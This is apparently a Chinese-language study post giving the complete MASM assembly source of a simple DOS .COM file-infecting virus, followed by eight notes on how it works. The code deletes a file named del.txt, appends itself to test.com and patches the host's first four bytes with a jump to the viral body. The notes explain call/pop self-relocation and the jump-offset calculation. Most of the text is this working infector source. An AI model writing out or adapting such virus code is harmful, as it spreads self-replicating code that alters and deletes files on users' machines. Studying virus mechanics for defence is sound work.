先附上com病毒的源码 virus.asm
CSEG SEGMENT
ASSUME CS:CSEG,DS:CSEG,SS:CSEG
main PROC NEAR
mainstart:
CALL vstart
vstart:
POP SI
MOV BP,SI
PUSH SI
MOV AH,9
ADD SI,OFFSET message-OFFSET vstart
MOV DX,SI
INT 21h
POP SI
ADD SI,OFFSET yuan4byte-OFFSET vstart
MOV DI,100h
MOV AX,DS:[SI]
MOV DS:[DI],AX
INC SI
INC SI
INC DI
INC DI
MOV AX,DS:[SI]
MOV DS:[DI],AX
MOV SI,BP
MOV DX,OFFSET delname-OFFSET vstart
ADD DX,SI
MOV AH,41h
INT 21h
MOV DX,OFFSET filename-OFFSET vstart
ADD DX,SI
MOV AL,02
MOV AH,3dh
INT 21h
JC error
MOV BX,AX
MOV DX,OFFSET yuan4byte-OFFSET vstart
ADD DX,SI
MOV CX,4
MOV AH,3fh
INT 21h
MOV AX,4202h
XOR CX,CX
XOR DX,DX
INT 21h
MOV DI,OFFSET new4byte-OFFSET vstart
ADD DI,2
ADD DI,SI
SUB AX,4
MOV DS:[DI],AX
ADD SI,OFFSET mainstart-OFFSET vstart
MOV DX,SI
MOV vsizes,OFFSET vends-OFFSET mainstart
MOV CX,vsizes
MOV AH,40h
INT 21h
MOV SI,BP
MOV AL,0
XOR CX,CX
XOR DX,DX
MOV AH,42h
INT 21h
MOV AH,40h
MOV CX,4
MOV DX,OFFSET new4byte-OFFSET vstart
ADD DX,SI
INT 21h
MOV AH,3eh
INT 21h
error:
MOV AX,100h
PUSH AX
RET
main ENDP
yuan4byte:
RET ; ??
DB 3 DUP (?)
vsizes DW 0
new4byte DB 'M',0e9h,0,0
filename DB "test.com",0
delname DB "del.txt",0
message DB "You are infected by a simple com virus~~"
DB 0dh,0ah,"$"
vends:
start:
MOV AX,CSEG
MOV DS,AX
MOV SS,AX
CALL main
MOV AX,4c00h
INT 21h
CSEG ENDS
END start
几个比较有意思的点
1.DOS下com文件的加载时一对一的映射的,没有PE结构那样的MZ头和PE头
2.COM文件加载代码的基址是100H,0~100H是PSP结构,COM文件只有一个段,所以DS,ES……段寄存器都指向PSP
3.COM文件没有堆栈段,用debug调试发现,sp:FFFE,bp:0000,bp寄存器经过测试可以用来存储其他的值对运行没有影响
4.病毒代码使用call pop组合拿到pop处代码的绝对地址,以实现重定位
5.通过对被感染文件的前4字节填充为 sub bp, jmp shellcode实现shellcode跳转,进入shellcode首先恢复前4字节,然后执行完流程后通过push 100H,ret返回原程序
6.在这里M除了躲避杀毒软件的查杀我没想到其他作用,删掉不影响运行(但是首地址的jmp的目标地址需要对应的修改)
7.yuan4byte中ret的作用:让病毒程序返回Main函数,成功运行完整个流程
8.为什么要SUB AX,4:类似于inline-hook,jmp相对地址,需要减去jmp语句所在的偏移地址再-jmp本身的长度